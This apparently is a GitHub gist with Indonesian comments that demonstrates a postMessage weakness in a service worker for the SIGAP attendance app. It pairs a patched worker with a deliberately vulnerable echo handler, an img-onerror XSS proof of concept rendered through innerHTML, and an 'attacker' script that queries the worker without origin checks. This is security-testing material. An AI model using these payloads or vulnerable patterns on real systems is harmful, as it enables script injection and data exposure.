Last active
December 9, 2025 19:37
-
-
Save Xnuvers007/74cef415e4c4c155b4a15358c112e7a0 to your computer and use it in GitHub Desktop.
postMessage Vulnerable Exploit ?
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // Service Worker untuk SIGAP GPS | |
| // SECURITY FIXED: Insufficient postMessage Validation patched | |
| // Install event - tidak cache apapun (No Cache Mode) | |
| self.addEventListener('install', event => { | |
| event.waitUntil( | |
| // Langsung skip waiting agar SW baru segera aktif | |
| self.skipWaiting() | |
| ); | |
| }); | |
| // Activate event - clear semua cache lama | |
| self.addEventListener('activate', event => { | |
| event.waitUntil( | |
| caches.keys() | |
| .then(cacheNames => { | |
| return Promise.all( | |
| cacheNames.map(cacheName => { | |
| return caches.delete(cacheName); | |
| }) | |
| ); | |
| }) | |
| .then(() => { | |
| return self.clients.claim(); | |
| }) | |
| ); | |
| }); | |
| // Fetch event - Network Only Strategy dengan Offline Fallback | |
| self.addEventListener('fetch', event => { | |
| const request = event.request; | |
| // Skip non-GET requests (POST/PUT/DELETE langsung ke network) | |
| if (request.method !== 'GET') { | |
| event.respondWith(fetch(request)); | |
| return; | |
| } | |
| event.respondWith( | |
| fetch(request) | |
| .then(response => { | |
| return response; | |
| }) | |
| .catch(error => { | |
| // Fallback untuk offline - return halaman HTML sederhana | |
| if (request.headers.get('accept').includes('text/html')) { | |
| return new Response(` | |
| <!DOCTYPE html> | |
| <html> | |
| <head> | |
| <title>Offline - SIGAP</title> | |
| <meta charset="utf-8"> | |
| <meta name="viewport" content="width=device-width, initial-scale=1"> | |
| <style> | |
| body { font-family: Arial, sans-serif; text-align: center; padding: 50px; background: #f5f5f5; } | |
| .offline-message { background: white; padding: 30px; border-radius: 10px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); max-width: 400px; margin: 0 auto; } | |
| .icon { font-size: 48px; margin-bottom: 20px; } | |
| h1 { color: #333; margin-bottom: 20px; } | |
| p { color: #666; line-height: 1.6; } | |
| .retry-btn { background: #696cff; color: white; border: none; padding: 12px 24px; border-radius: 6px; cursor: pointer; margin-top: 20px; font-size: 16px; } | |
| .retry-btn:hover { background: #5a5fcf; } | |
| </style> | |
| </head> | |
| <body> | |
| <div class="offline-message"> | |
| <div class="icon">📱</div> | |
| <h1>SIGAP</h1> | |
| <p>Koneksi internet tidak tersedia. Silakan periksa koneksi Anda dan coba lagi.</p> | |
| <button class="retry-btn" onclick="window.location.reload()">Coba Lagi</button> | |
| </div> | |
| </body> | |
| </html> | |
| `, { | |
| headers: { 'Content-Type': 'text/html' } | |
| }); | |
| } | |
| // Untuk file statis (img/css/js) saat offline | |
| return new Response('Offline - No cache available', { | |
| status: 503, | |
| statusText: 'Service Unavailable' | |
| }); | |
| }) | |
| ); | |
| }); | |
| // Background sync (Opsional) | |
| self.addEventListener('sync', event => { | |
| if (event.tag === 'background-sync-presensi') { | |
| event.waitUntil(doBackgroundSync()); | |
| } | |
| }); | |
| async function doBackgroundSync() { | |
| // Implementasi logic sync disini | |
| } | |
| // Push Notification Handler | |
| self.addEventListener('push', event => { | |
| if (event.data) { | |
| const data = event.data.json(); | |
| const options = { | |
| body: data.body, | |
| icon: '/assets/img/favicon/favicon-192x192.png', | |
| badge: '/assets/img/favicon/favicon-96x96.png', | |
| vibrate: [100, 50, 100], | |
| data: { | |
| dateOfArrival: Date.now(), | |
| primaryKey: data.primaryKey | |
| }, | |
| actions: [ | |
| { action: 'explore', title: 'Buka Aplikasi', icon: '/assets/img/icons/checkmark.png' }, | |
| { action: 'close', title: 'Tutup', icon: '/assets/img/icons/xmark.png' } | |
| ] | |
| }; | |
| event.waitUntil(self.registration.showNotification(data.title, options)); | |
| } | |
| }); | |
| self.addEventListener('notificationclick', event => { | |
| event.notification.close(); | |
| if (event.action === 'explore') { | |
| event.waitUntil(clients.openWindow('/')); | |
| } | |
| }); | |
| // ========================================================================= | |
| // SECURITY CONFIGURATION | |
| // ========================================================================= | |
| // Daftar origin yang diizinkan berkomunikasi dengan Service Worker | |
| const ALLOWED_ORIGINS = [ | |
| self.location.origin, | |
| "https://hris.sigap.cloud" | |
| ]; | |
| /** | |
| * Validasi apakah origin aman untuk menerima response | |
| * @param {string} origin - Origin yang akan divalidasi | |
| * @returns {boolean} - True jika origin aman | |
| */ | |
| function isOriginAllowed(origin) { | |
| const allowed = ALLOWED_ORIGINS.includes(origin); | |
| if (!allowed) { | |
| console.error(`[SECURITY VIOLATION] Origin ditolak: ${origin}`); | |
| console.error('Origin yang diizinkan:', ALLOWED_ORIGINS); | |
| } | |
| return allowed; | |
| } | |
| /** | |
| * Kirim response hanya jika origin valid | |
| * @param {MessagePort} port - Port untuk mengirim message | |
| * @param {string} origin - Origin pengirim | |
| * @param {object} data - Data yang akan dikirim | |
| */ | |
| function sendSecureResponse(port, origin, data) { | |
| if (!port) { | |
| console.warn('[SECURITY] No port available for response'); | |
| return; | |
| } | |
| if (!isOriginAllowed(origin)) { | |
| console.error('[SECURITY BLOCKED] Response tidak dikirim ke origin:', origin); | |
| // Kirim response error ke origin jahat | |
| port.postMessage({ | |
| error: 'Unauthorized', | |
| message: 'Origin not allowed' | |
| }); | |
| return; | |
| } | |
| // Origin valid - kirim data | |
| console.log('[SECURITY OK] Response dikirim ke origin valid:', origin); | |
| port.postMessage(data); | |
| } | |
| // ========================================================================= | |
| // SINGLE MESSAGE HANDLER (FINAL & SECURE) | |
| // ========================================================================= | |
| self.addEventListener('message', (event) => { | |
| // --------------------------------------------------------------------- | |
| // SECURITY CHECK: VALIDASI ORIGIN (WAJIB BARIS PERTAMA) | |
| // --------------------------------------------------------------------- | |
| // Cek apakah pengirim ada di daftar putih (whitelist) | |
| if (!isOriginAllowed(event.origin)) { | |
| console.warn(`[SECURITY BLOCK] Pesan ditolak dari origin: ${event.origin}`); | |
| return; // BERHENTI DISINI | |
| } | |
| // --------------------------------------------------------------------- | |
| // DATA VALIDATION | |
| // --------------------------------------------------------------------- | |
| // Pastikan data ada dan berbentuk objek sebelum membacanya | |
| if (!event.data || typeof event.data !== 'object') { | |
| return; | |
| } | |
| // Jika Anda ingin log pesan yang valid (sudah lolos cek di atas), taruh di sini: | |
| if (event.origin === "https://hris.sigap.cloud") { | |
| console.log("[SECURE] Pesan valid diterima dari HRIS:", event.data); | |
| } | |
| // --------------------------------------------------------------------- | |
| // PROCESS MESSAGE (DENGAN VALIDASI RESPONSE) | |
| // --------------------------------------------------------------------- | |
| const type = event.data.type; | |
| switch (type) { | |
| case 'SKIP_WAITING': | |
| self.skipWaiting(); | |
| break; | |
| case 'GET_VERSION': | |
| // SECURITY: Gunakan helper function untuk validasi response | |
| sendSecureResponse( | |
| event.ports?.[0], | |
| event.origin, | |
| { | |
| version: '1.0.0-secure', | |
| origin: self.location.origin, | |
| timestamp: Date.now() | |
| } | |
| ); | |
| break; | |
| case 'CLEAR_CACHE': | |
| event.waitUntil( | |
| caches.keys().then(keys => Promise.all( | |
| keys.map(key => caches.delete(key)) | |
| )) | |
| ); | |
| break; | |
| case 'PING': | |
| // SECURITY: Gunakan helper function untuk validasi response | |
| sendSecureResponse( | |
| event.ports?.[0], | |
| event.origin, | |
| { | |
| status: 'ok', | |
| timestamp: Date.now() | |
| } | |
| ); | |
| break; | |
| default: | |
| break; | |
| } | |
| }); | |
| console.log('Service Worker: No Cache Mode initialized'); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| self.addEventListener('message', event => { | |
| if (event.data && event.data.type === 'SKIP_WAITING') { | |
| self.skipWaiting(); | |
| } | |
| if (event.data && event.data.type === 'GET_VERSION') { | |
| event.ports[0].postMessage({ version: '1.0.0-no-cache' }); | |
| } | |
| if (event.data && event.data.type === 'ECHO_TEST') { | |
| event.ports[0].postMessage({ | |
| reply: event.data.payload // <--- Memantulkan input user mentah-mentah | |
| }); | |
| } | |
| }); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // === SCRIPT SIMULASI XSS SUKSES === | |
| console.log("💀 Memulai serangan DOM XSS..."); | |
| const targetSW = navigator.serviceWorker.controller; | |
| const channel = new MessageChannel(); | |
| // Setup receiver yang CEROBOH (Vulnerable Client Code) | |
| channel.port1.onmessage = (event) => { | |
| console.log("Terima balasan, mencoba render ke HTML..."); | |
| // INILAH PENYEBAB XSS: | |
| // Client mengambil data dari SW dan memasukkannya ke innerHTML tanpa filter | |
| const container = document.createElement('div'); | |
| container.innerHTML = event.data.reply; | |
| document.body.appendChild(container); | |
| // Catatan: <script> biasa sering diblokir oleh HTML5 saat via innerHTML, | |
| // jadi kita pakai <img onerror> | |
| }; | |
| if (targetSW) { | |
| // Payload Jahat | |
| // Kita pakai <img> yang error, sehingga memicu event 'onerror' berisi alert | |
| const maliciousPayload = `<img src=x onerror="alert('HACKED! XSS BERHASIL!'); confirm('Data Anda dicuri?');">`; | |
| targetSW.postMessage({ | |
| type: 'ECHO_TEST', | |
| payload: maliciousPayload | |
| }, [channel.port2]); | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // === SCRIPT SIMULASI PENYERANG (XSS / Console) === | |
| console.log("🕵️ [ATTACKER] Memulai percobaan pencurian data..."); | |
| // 1. Cek apakah ada Service Worker yang mengontrol halaman ini | |
| const targetSW = navigator.serviceWorker.controller; | |
| if (!targetSW) { | |
| console.error("❌ [ATTACKER] Gagal: Service Worker belum aktif atau tidak mengontrol halaman ini. Coba refresh halaman."); | |
| } else { | |
| // 2. Buat saluran komunikasi rahasia (MessageChannel) | |
| const saluranJahat = new MessageChannel(); | |
| // 3. Siapkan "Telinga" untuk menangkap balasan | |
| saluranJahat.port1.onmessage = (eventBalasan) => { | |
| console.warn("%c✅ [SUCCESS] DATA BERHASIL DICURI!", "color: red; font-size: 16px; font-weight: bold;"); | |
| console.warn("Isi Data:", eventBalasan.data); | |
| console.log("Data ini harusnya rahasia, tapi SW mengirimnya tanpa validasi."); | |
| }; | |
| // 4. Kirim pesan pancingan 'GET_VERSION' | |
| // Karena SW rentan, dia akan membalas tanpa mengecek siapa pengirimnya | |
| console.log("📨 [ATTACKER] Mengirim payload request..."); | |
| targetSW.postMessage( | |
| { type: 'GET_VERSION' }, | |
| [saluranJahat.port2] // Sertakan port jahat untuk balasan | |
| ); | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment